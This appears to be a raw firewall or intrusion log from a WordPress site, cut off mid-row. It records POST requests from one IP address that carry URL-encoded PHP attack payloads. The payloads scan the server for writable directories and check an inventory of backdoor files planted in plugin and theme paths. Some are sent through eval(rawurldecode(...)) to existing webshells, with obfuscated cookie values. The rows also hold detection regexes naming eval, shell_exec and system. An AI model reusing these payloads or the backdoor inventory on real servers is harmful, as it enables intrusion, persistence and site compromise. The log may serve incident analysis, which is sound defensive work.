Edge\";v=\"101\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nupgrade-insecure-requests:1\naccept:*\/*\nsec-fetch-site:none\n\nue=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-04-13 23:06:58","213.209.159.254","POST","\/wp-content\/languages\/admin-network-zh_CN.l10n.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> LL:%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-rewrite.php%22%3D%3E%22bd%40%40287668682%40%4036%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-addon-manager.php%22%3D%3E%22bd%40%40287668703%40%4074%22%2C%0A%22\/wp-content\/plugins\/filester\/includes\/File_manager\/lib\/php\/editors\/editor.php%22%3D%3E%22bd%40%40287668715%40%40%24_COOKIE%5B1%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/lib\/packages\/Symfony\/Component\/CssSelector\/XPath\/Extension\/comment_function.php%22%3D%3E%22bd%40%40287668727%40%40692%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Parsing\/deactivate.php%22%3D%3E%22bd%40%40287668728%40%40627%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Rule\/google_analytics.php%22%3D%3E%22bd%40%40287668729%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-content\/languages\/admin-network-zh_CN.l10n.php%22%3D%3E%22bd%40%40287676543%40%40%24_COOKIE%5B5%22%2C%0A%22\/wp-content\/plugins\/facebook-for-woocommerce\/assets\/build\/admin\/index.asset.php%22%3D%3E%22bd%40%40287676557%40%40IZGTGP%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/admin\/product-category-metabox\/style.asset.php%22%3D%3E%22bd%40%40287676558%40%4082%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/src\/Engine\/Renderer\/ContentRenderer\/class.blocks.renderer.php%22%3D%3E%22bd%40%40287676573%40%40577%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-includes\/Requests\/src\/Transport\/sector_fighters.php%22%3D%3E%22bd%40%40278425344%40%40941%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Net\/CYEC07_3winners.php%22%3D%3E%22bd%40%40279256584%40%40722%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20","POST \/wp-content\/languages\/admin-network-zh_CN.l10n.php HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-length:6730\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=66906fd3042181b0b32cfaf7a2d624f4; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGRjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nhost:dewenlabels.com\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\n\nLL=%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-rewrite.php%22%3D%3E%22bd%40%40287668682%40%4036%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-addon-manager.php%22%3D%3E%22bd%40%40287668703%40%4074%22%2C%0A%22\/wp-content\/plugins\/filester\/includes\/File_manager\/lib\/php\/editors\/editor.php%22%3D%3E%22bd%40%40287668715%40%40%24_COOKIE%5B1%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/lib\/packages\/Symfony\/Component\/CssSelector\/XPath\/Extension\/comment_function.php%22%3D%3E%22bd%40%40287668727%40%40692%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Parsing\/deactivate.php%22%3D%3E%22bd%40%40287668728%40%40627%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Rule\/google_analytics.php%22%3D%3E%22bd%40%40287668729%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-content\/languages\/admin-network-zh_CN.l10n.php%22%3D%3E%22bd%40%40287676543%40%40%24_COOKIE%5B5%22%2C%0A%22\/wp-content\/plugins\/facebook-for-woocommerce\/assets\/build\/admin\/index.asset.php%22%3D%3E%22bd%40%40287676557%40%40IZGTGP%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/admin\/product-category-metabox\/style.asset.php%22%3D%3E%22bd%40%40287676558%40%4082%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/src\/Engine\/Renderer\/ContentRenderer\/class.blocks.renderer.php%22%3D%3E%22bd%40%40287676573%40%40577%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-includes\/Requests\/src\/Transport\/sector_fighters.php%22%3D%3E%22bd%40%40278425344%40%40941%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Net\/CYEC07_3winners.php%22%3D%3E%22bd%40%40279256584%40%40722%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20"]
["2026-04-13 23:21:14","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> ch:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL2tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:3339\n\nch=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-04-13 23:29:18","213.209.159.254","POST","\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ONUzjt:eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-rewrite.php%22%3D%3E%22bd%40%40287668682%40%4036%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-addon-manager.php%22%3D%3E%22bd%40%40287668703%40%4074%22%2C%0A%22\/wp-content\/plugins\/filester\/includes\/File_manager\/lib\/php\/editors\/editor.php%22%3D%3E%22bd%40%40287668715%40%40%24_COOKIE%5B1%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/lib\/packages\/Symfony\/Component\/CssSelector\/XPath\/Extension\/comment_function.php%22%3D%3E%22bd%40%40287668727%40%40692%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Parsing\/deactivate.php%22%3D%3E%22bd%40%40287668728%40%40627%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Rule\/google_analytics.php%22%3D%3E%22bd%40%40287668729%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-content\/languages\/admin-network-zh_CN.l10n.php%22%3D%3E%22bd%40%40287676543%40%40%24_COOKIE%5B5%22%2C%0A%22\/wp-content\/plugins\/facebook-for-woocommerce\/assets\/build\/admin\/index.asset.php%22%3D%3E%22bd%40%40287676557%40%40IZGTGP%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/admin\/product-category-metabox\/style.asset.php%22%3D%3E%22bd%40%40287676558%40%4082%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/